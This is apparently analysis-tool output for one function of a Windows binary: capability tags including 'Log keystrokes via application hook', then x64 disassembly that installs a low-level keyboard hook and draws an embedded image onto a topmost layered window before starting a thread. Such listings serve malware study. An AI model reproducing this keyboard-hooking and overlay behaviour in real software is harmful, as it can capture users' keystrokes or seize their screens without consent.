Function at 0x1400010e0
Capabilities:
Create thread
Extract resource via kernel32 functions
Log keystrokes via application hook

Disassembly:
push r14
sub rsp, 0xc0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x90], rax
xor r9d, r9d
lea rdx, [0x140001530]
mov r14, rcx
xor r8d, r8d
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x1400056d0], rax
test rax, rax
jne 0x14000112b
mov eax, 2
jmp 0x1400012a3
mov qword [rsp + 0xd8], rbx
xor ecx, ecx
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xb8], rsi
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_WindowFromDC]
mov rdx, qword [0x1400056f0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400011b8
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbp, rax
test rax, rax
je 0x1400011b8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
jne 0x1400011c2
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 0xfffffffe
jmp 0x14000128b
mov qword [rsp + 0xb0], rdi
mov rdx, rbx
mov qword [rsp + 0xa8], r12
xor ecx, ecx
mov qword [rsp + 0xa0], r15
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
mov ebx, eax
mov edi, eax
call fcn.1400016a4
mov r15, rax
test ebx, ebx
je 0x140001210
mov rdx, rax
sub rsi, rax
nop dword [rax]
movzx ecx, byte [rsi + rdx]
mov byte [rdx], cl
lea rdx, [rdx + 1]
sub rdi, 1
jne 0x140001200
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, 0x48
call fcn.140001668
mov rcx, rax
xor r12d, r12d
mov qword [rax], 0x20200
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rcx + 8], rax
lea rax, str.ViBuEf
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], r14
mov qword [rcx + 0x20], r12
mov qword [rcx + 0x28], r12
mov qword [rcx + 0x30], r12
mov qword [rcx + 0x38], r12
call qword [sym.imp.USER32.dll_RegisterClassW]
movzx r9d, ax
test r9w, r9w
jne 0x1400012bd
lea eax, [r12 + 1]
mov r12, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xb0]
mov r15, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140001640
add rsp, 0xc0
pop r14
ret
mov rcx, qword [0x1400056f0]
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r12
mov eax, dword [rcx + 0xc]
cdq
mov qword [rsp + 0x40], r12
sub eax, edx
mov dword [rsp + 0x38], 0x320
sar eax, 1
mov dword [rsp + 0x30], 0x320
lea r8d, [rax - 0x190]
mov eax, dword [rcx + 8]
cdq
mov dword [rsp + 0x28], r8d
sub eax, edx
lea r8, [0x140003440]
sar eax, 1
mov rdx, r9
sub eax, 0x190
xor r9d, r9d
mov ecx, 0x800a8
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r9d, 2
xor r8d, r8d
mov rcx, rax
mov qword [0x1400056e0], rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
test eax, eax
jne 0x14000134e
mov eax, 4
jmp 0x140001273
mov rcx, qword [0x1400056e0]
mov edx, 0xfffffff0
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov rcx, qword [0x1400056e0]
mov edx, 0xfffffff0
btr eax, 0x12
or eax, 0x10800000
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov rcx, qword [0x1400056e0]
call qword [sym.imp.USER32.dll_GetDC]
mov esi, r12d
lea rbp, [r15 + 2]
mov r14, rax
nop word [rax + rax]
mov edi, r12d
mov rbx, rbp
nop word [rax + rax]
movzx ecx, byte [rbx - 2]
mov r8d, esi
movzx r9d, byte [rbx - 1]
mov edx, edi
movzx eax, byte [rbx]
shl r9d, 8
or r9d, ecx
shl eax, 0x10
or r9d, eax
mov rcx, r14
call qword [sym.imp.GDI32.dll_SetPixel]
inc edi
lea rbx, [rbx + 0x960]
cmp edi, 0x320
jl 0x1400013b0
inc esi
add rbp, 3
cmp esi, 0x320
jl 0x1400013a0
mov rcx, qword [0x1400056e0]
mov rdx, r14
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r15
call fcn.140001660
lea r8, [0x140003448]
mov edx, 0x66
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
jne 0x140001431
mov eax, 0x3e9
jmp 0x140001273
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x14000144b
mov eax, 0x3ea
jmp 0x140001273
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x1400056e8], rax
test rax, rax
jne 0x14000146a
mov eax, 0x3eb
jmp 0x140001273
mov ecx, 0x10
call fcn.140001668
mov ecx, 8
mov rbx, rax
call fcn.140001668
lea rcx, [0x140001020]
mov r9, rax
lea rdi, [rbx + 8]
xor edx, edx
mov qword [rsp + 0x28], rdi
lea r8, [0x140001600]
mov qword [rax], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x140001521
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001273
mov eax, dword [rsp + 0x68]
cmp eax, 0xf
je 0x1400014fa
cmp eax, 0x12
jne 0x140001505
xor eax, eax
jmp 0x140001273
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x1400014e5
jmp 0x140001273
mov ecx, 6
mov dword [rdi], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3